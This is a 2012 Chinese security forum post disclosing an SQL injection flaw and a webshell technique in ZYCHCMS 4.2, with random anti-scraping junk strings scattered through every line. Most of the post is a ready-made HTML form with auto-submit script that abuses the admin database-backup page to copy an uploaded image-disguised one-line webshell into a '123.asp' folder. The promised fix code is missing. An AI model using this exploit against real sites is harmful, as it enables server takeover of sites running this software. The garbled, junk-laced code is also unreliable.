找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2026|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

3 {$ n- z6 [2 U3 P3 O4 n
8 _2 Y' Z5 j* l  I
) S6 E5 X# K6 }; ~7 G$ [% s  T: @) y# d8 U- d6 @( D" X
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)6 [6 d) {) d/ _( B+ v5 h( g3 G7 v. {7 h
①SQL注射漏洞$ z, e6 U( T+ w6 ~4 V
漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp+ L  A/ m) }- {. W: s$ f
漏洞原因:未过滤
5 q1 `4 O( a$ L1 B; _ 漏洞代码:/ b, i6 h+ J: Y  O
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。
: I  X( ^1 r7 D/ x+ |1 A 修复方法:在文件开头加入代码
$ ~/ [8 h6 T6 m& s$ r$ g! O0 z+ Z- i
! y. P% x; O: q5 t: w8 `- P% `
# ?2 w* d) j7 |" j* g2 i3 T! e6 W②后台拿WBSHELL! a- E- x. y2 e, A& p
进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。
8 e, F/ v2 ^$ i 这里在网上找了一个,改了下,将就着用。
) k6 N! y3 v1 d2 }4 L6 F 以下是代码本地提交代码5 l" Z9 l- @* F5 z
0 W5 t4 N/ c, z3 o& @
3 s  f+ T/ Y( s  V- F0 A% O* J
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>0 g: f: w* l& Z2 W; D4 n& W# k
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>6 }. E1 N- X" A) S* v+ w
<tr>& V( z: F/ P7 J/ j- A) }& _
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>" C8 O" R8 B# z
</tr>: f% q: R7 H" N6 }) X5 l7 y. f
<tr>
% }* O  |9 o0 ?) Y+ k( L <td bgcolor=”#FFFFFF”><span class=”back_southidc”>+ s/ @# ^; U. w1 F7 b
</span>1 {5 G, W4 ?8 ?) X! [: R
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
4 G! d! {6 e# j5 p <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
- R# k% I3 H$ T, ]# e <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
* `: H& \5 B& o: M <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
) c/ ~- W8 {. a5 S <div align=”left”>( e2 T$ h" }3 S; H! i
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
: d  M: d: P7 _5 b8 ~& ]! }; X% B <!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
) X- e9 T( v8 m) a- {( ~ <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />8 j0 y5 v. _& G6 O; C% `' x; m
</div></td>* q/ E: u4 Z1 T" ]' @& `$ I$ W
</tr>
" F: h+ s/ r$ z( i/ A <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>' c# m. W5 }3 \; }$ i- S
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
" W) [! v, {! N6 K <td class=”td”><div align=”left”>% I: A$ x8 B4 ]
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
& f8 [  g4 C. n [如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>
/ s% g! U. X, A, N9 C! v6 J' \ </tr>6 D* p( N" ~; |/ C* @) z
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
( H$ j5 A9 r5 v8 [ <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
' P) S& N8 P9 h% C( k <td class=”td”><div align=”left”>
: _5 |* u2 H( u/ v. v) O; e9 e; q <input type=”submit” value=”确定备份” class=”btn”4 b. S* Z/ k! d0 C2 y% V1 N0 M
</div></td>
( F% ~( |2 u) X6 \ </tr>
6 `4 U) |( G9 E </table></td></tr></form>
6 p9 P! C2 ]6 ~& B; |$ z& I </table>
+ `" {( u( l( {3 Y  I& }1 O8 h </td>
8 Y3 Y! `' Z0 _ </tr>
  U7 C6 F+ v# D  b4 a </table>  H0 [( e! c* X1 u/ \5 g& |
<script>2 V; e& s0 C$ @
document.all.add.submit();
& Y* o# S0 }  M0 {6 B </script>
; v. q- \" g& G- h# S& h
$ {  N1 \5 R* U( ?0 n* c- A( [' c" b# T  V* O+ p* X* w. |7 U

$ L* ~; @$ M4 B0 O6 b+ Q0 W) }% ^! t% X1 j4 x+ }" _3 y
7 }( p, G4 J4 `' `1 @( ?: k
+ {) y$ W" t1 P

: V, Y) N" j% m4 }9 @8 k
# D' T4 V2 p2 g; t! {; c  ^" V; X3 w/ a; d

* g9 C+ G; Q1 X1 ]4 R# K. C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表